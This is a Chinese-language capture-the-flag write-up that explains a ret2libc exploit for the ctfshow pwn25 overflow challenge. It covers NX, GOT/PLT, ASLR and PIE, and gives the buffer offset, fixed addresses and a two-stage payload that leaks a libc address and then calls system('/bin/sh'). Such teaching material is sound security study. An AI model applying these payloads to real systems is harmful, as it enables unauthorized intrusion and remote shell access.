1. 前置知识

1.1 什么是 NX 保护?
| NX 关闭 (pwn24) | NX 开启 (本题) | |
|---|---|---|
| 栈的性质 | 可读 + 可写 + 可执行 | 可读 + 可写 + 不可执行 |
| 攻击方式 | 把 shellcode 写到栈上,直接跳过去执行 | 无法执行栈上的代码 |
| 类比 | 一张纸既能写字,也能折成飞机飞出去 | 一块写字板——只能写字,不能当发动机用 |
NX (No-eXecute) 是 CPU 硬件级别的保护:通过内存管理单元(MMU),将内存页标记为”数据区”或”代码区”
1.数据区:只能读写 不能执行
2.代码区:可以执行
栈被标记为数据区,CPU 如果尝试执行栈上的指令,硬件直接拒绝并报 Segmentation Fault
一句话总结: NX 开启后,你不能运行自己注入的代码(不能自己写shellcode了)——必须利用程序已有的代码(libc 库函数)
1.2 什么是 ret2libc?
ret2libc = Return-to-Libc,即”返回到 libc 库函数”。
让程序不返回到main函数,而是返回到libc里的system函数
1 | ┌──────────────────────────────────────────────────┐ |
核心逻辑:libc(Linux 的 C 标准库)本身就包含 system()、execve() 等危险函数,且 libc 的代码段是可执行的。我们不需要自己写代码,只需要:
- 知道 libc 加载到内存的哪个位置(基址)
- 跳过去执行其中的
system("/bin/sh")
1.3 什么是 GOT/PLT?
这是理解”泄露地址”的关键。
分三层讲。
第一层:问题是什么
你的程序要调用puts 但是puts的代码在libc文件里 libc每次加载的位置随机编号 程序怎么知道puts今天在哪
第二层:怎么解决的
程序用了两个东西:
1 | PLT(程序里固定的一块代码):这是"跳板",地址永远不变 |
第三层:调用过程
1 | 程序想用 puts → 先去 PLT → PLT 去 GOT 看记事本 → GOT 上写着 puts 今天的地址 → 跳过去 |
1 | 程序调用 puts("hello") |
关键理解:
puts@plt是固定的跳板地址,puts@got里存的是 libc 中 puts 的真实运行时地址。我们通过puts(puts@GOT)把这个真实地址打印出来,从而计算出 libc 基址。
一个比喻:
- GOT 表就像”快递柜”——里面存的是函数的真实门牌号
- PLT 表是”取件码”——程序通过固定的 PLT 地址去 GOT 柜子里拿真实地址
- 我们攻击者的目标是:窥探快递柜里的门牌号(leak GOT),从而推算整栋楼(libc)的位置
1.4 什么是 ASLR?
ASLR让 libc 每次加载的基址都不同。
1 | 第1次运行: libc 基址 = 0xf7d55000 |
但是!函数间的相对偏移是固定的:
1 | system 在 libc 文件中的偏移 = 0x3ce10 (始终不变) |
所以攻击流程是:
1 | 泄露 puts 真实地址 → 减去 puts 在文件中的偏移 → 得到 libc 基址 |
1.5 什么是 PIE?
PIE也是一种ASLR 用来保护程序自身
PIE管程序自己的地址变不变 本题关闭→固定不变
ASLR管libc的地址变不变 本题开启→每次随机
| PIE 关闭 | PIE 开启 | |
|---|---|---|
| 程序本身地址 | 固定 (如 main = 0x0804862d) |
每次随机变化 |
| GOT/PLT 地址 | 固定不变 | 需要先泄露程序基址 |
本题中 PIE 是关闭的,所以 puts@plt、main、puts@got 这些地址都是绝对固定的,我们的第一跳就已经知道目标。
2. 题目分析
2.1 安全保护
1 | $ checksec pwn25 |

| 保护机制 | 状态 | 含义 |
|---|---|---|
| RELRO | Partial | GOT 表可写 (我们可以泄露它) |
| Stack Canary | Disabled | 无栈金丝雀,溢出不会被检测 |
| NX | Enabled | 栈不可执行 → 不能用 shellcode |
| PIE | Disabled | 程序地址固定 → PLT/GOT 地址已知 |
结论: NX 开启了但 PIE 没开,完美的 ret2libc 目标!
2.3 反编译
main 函数:
1 | unsigned int main(void) { |
ctfshow 函数 (漏洞点):
1 | int ctfshow(void) { |
反汇编确认:
1 | objdump -d pwn25 | grep -A 20 "<ctfshow>:" |

漏洞本质: 缓冲区只有 0x88 (136) 字节,却允许写入 0x100 (256) 字节——多出 120 字节 可以覆盖栈上的关键数据。
2.4 关键地址速查表
| 符号 | 地址 | 用途 |
|---|---|---|
puts@plt |
0x08048390 |
调用 puts 的跳板 |
puts@got |
0x0804a010 |
存放 puts 真实地址 |
read@plt |
0x08048380 |
调用 read 的跳板 |
write@plt |
0x080483b0 |
调用 write 的跳板 |
main |
0x0804862d |
main 函数入口 |
ctfshow |
0x080484f6 |
漏洞函数 |
3. 偏移量计算
偏移量 (Offset): 从缓冲区起始位置到函数返回地址之间需要填充的字节数。
3.1 栈帧结构 (ctfshow 函数)
1 | 高地址 |
3.2 手动计算
1 | buf 起始地址: ebp - 0x88 |
验证:用 IDA 查看 ctfshow 的栈帧视图:
1 | -00000088 buf ← 缓冲区起始 |
0x88 + 0x04 = 0x8C = 140 ✓
3.3 用 GDB + Cyclic 验证(推荐方法)
如果你不确定偏移量,用这个万无一失的方法:
1 | # 终端 1: 生成 200 字节的"特征字符串" |
cyclic 原理: pattern 中任意连续的 4 字节都是唯一的(德布勒因序列),所以看到 EIP 的值就能反推出它在序列中的位置。
4. 漏洞利用思路
4.1 两步走战略
1 | ┌─────────────────────────────────────────────────┐ |
4.2 Stage 1: 泄露 libc 地址
Payload 1 构造:
1 | [140 字节垃圾数据] [puts@plt] [main] [puts@GOT] |
执行流程:
1 | 1. ctfshow() 返回时, EIP = puts@plt |
4.3 Stage 2: 执行 system(“/bin/sh”)
拿到 puts 的真实地址后:
1 | # 用 libc.rip API 自动匹配 libc 版本, 获取偏移量 |
Payload 2 构造:
1 | [140 字节垃圾数据] [system_addr] [0x41414141] [binsh_addr] |
执行流程:
1 | 1. ctfshow() 返回时, EIP = system_addr |
5. 两个关键问题
Q1: 为什么 Stage 1 返回 main 而不是 ctfshow?
返回 main 更安全:
- main 会重新执行
setvbuf→ 重新初始化 IO,状态更干净 - ctfshow 直接返回会让栈上残留第一次的 payload 数据,可能影响第二次 read 的定位
实际测试中两者都能工作,但 main 是推荐做法。
Q2: 为什么需要 ret gadget?
在某些 libc 版本中,system() 内部使用了 movaps 指令,这要求栈地址 16 字节对齐。如果不对齐,程序会崩溃。
1 | # 不加 ret: esp & 0xf == 0xC (不对齐) |
如果去掉 ret_gadget 后程序崩溃(SIGSEGV at movaps),说明需要加上。
6. 完整 Exploit 脚本
将以下代码保存为 exploit.py,在 Ubuntu 虚拟机中运行。
1 | #!/usr/bin/env python3 |
7. 逐行 Payload 讲解
以下用详细的注释,一步步解释每行代码在做什么。
7.1 Stage 1 Payload
1 | payload1 = b'A' * OFFSET # OFFSET = 140 |
栈上数据排列(从低地址到高地址):
1 | 低地址 ← 写入方向 |
7.2 Stage 2 Payload
1 | payload2 = b'B' * OFFSET # 再次填充 140 字节 |
7.3 为什么要用 p32()?
1 | p32(0x08048390) # 把整数转成 4 字节小端序 |
p32 = pack 32-bit。因为 x86 是小端序(低位字节在低地址),所以 0x08048390 在内存中存储为 90 83 04 08。
记忆口诀: “高高低低” → 高位放高地址,低位放低地址。数字
0x08048390的最低位是90,它放在最小的地址处。
8. 运行结果
8.1 环境准备 (Ubuntu 虚拟机)
1 | # 1. 安装 pwntools |
8.2 预期输出
1 | [+] Opening connection to pwn.challenge.ctf.show on port 28204: Done |
8.3 手动获取 Flag
拿到 shell 后可以输入:
1 | cat /flag |
9. 总结与拓展
9.1 攻击流程回顾
1 | ┌──────────────────────────────────────────────┐ |
9.2 常见问题排查
| 问题 | 可能原因 | 解决方法 |
|---|---|---|
| 泄露地址为空 | puts 在 \x00 处截断了 | 检查 recvline 是否正确去掉了 \n |
| Stage 2 崩溃 | libc 版本不匹配 | 把泄露地址提交到 libc.rip 精确查找 |
movaps 崩溃 |
栈未 16 字节对齐 | 加 ret_gadget 前导 |
| 连接超时 | 网络问题 / 靶机挂了 | 检查 VPN/代理, 等几分钟重试 |
9.3 进阶思考
如果 PIE 也开了怎么办?
— 需要先泄露程序基址 (如__libc_csu_init的地址),然后计算所有 GOT/PLT 地址。如果开了 Full RELRO?
— GOT 表不可写,不能用 GOT 覆写技巧,但仍可以泄露(GOT 内容是初始化时就写好的)。64 位程序的区别?
— 前 6 个参数通过寄存器传递 (rdi, rsi, rdx, rcx, r8, r9),需要pop rdi; ret等 ROP gadget。one_gadget 替代方案?
— 某些 libc 版本中存在”一键 get shell”的魔法地址(one_gadget),直接跳到那个地址就能execve("/bin/sh"),无需构造参数
9.4 推荐学习路径
1 | pwn24 (无NX, shellcode注入)[pwn24](/posts/ctfshow-pwn24/) |
相关笔记
前置基础:
- pwn0 —
strcpy/read溢出原理 - pwn1 —
checksec安全机制(NX/PIE/RELRO/Canary) - pwn23 — 栈溢出 + 信号劫持(更简单的溢出利用)
- pwn24 — NX 禁用下的 shellcode 注入(对比学习)
RELRO / GOT 系列:
ASLR:
- pwn26 ASLR地址空间布局随机化 — ASLR 原理与配置
- pwn27 — ASLR=1 实战